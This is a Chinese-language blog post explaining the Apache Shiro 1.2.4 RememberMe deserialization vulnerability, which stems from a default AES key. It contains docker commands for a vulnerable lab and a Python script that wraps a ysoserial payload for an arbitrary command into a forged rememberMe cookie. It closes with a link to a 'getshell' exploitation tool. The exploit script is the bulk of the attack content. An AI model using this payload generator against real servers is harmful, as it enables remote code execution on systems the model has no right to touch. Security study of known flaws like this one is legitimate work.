Shiro1.2.4RememberMe反序列化漏洞
阿新 • • 發佈:2021-07-10
Shiro1.2.4RememberMe反序列化漏洞
針對Shiro版本1.2.4以下有效,Shiro是一個java框架
漏洞原理
Apache Shiro 有記住密碼的功能,在登入成功後會生成欄位setcookie
而這個cookie值是經過序列化---AES加密---base64編碼
得到
而在Shiro<1.2.4檔案中可以找到預設的aes金鑰,導致可以偽造這個cookie,導致反序列化漏洞
環境搭建
直接採用docker搭建shiro環境
docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1 訪問127.0.0.1
登入時點選記住密碼,抓包後發到repeater
可以看到服務端setcookie中的rememberme欄位
生成payload指令碼
# -- coding: utf-8 -- import sys import uuid #匯入唯一標識庫 import base64 import subprocess from Crypto.Cipher import AES #匯入aes def encode(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollects6', command], stdout=subprocess.PIPE) #建立一個子程序,輸出到管道中 bs = AES.block_size pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode() #演算法 key = base64.b64decode("") iv = uuid.uuid4().bytes #生成初始向量 encryptor = AES.new(key,AES.MODE_CBC,iv) #初始化aes file_body = pad(popen.stdout.read()) #從pipe中讀資料放入加密演算法 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode(sys.argv[1]) #獲取外部輸入的第一個引數 print 'rememberMe={}'.format(payload.decode())
https://toscode.gitee.com/lmdy/ShiroExploit 【利用漏洞getshell工具】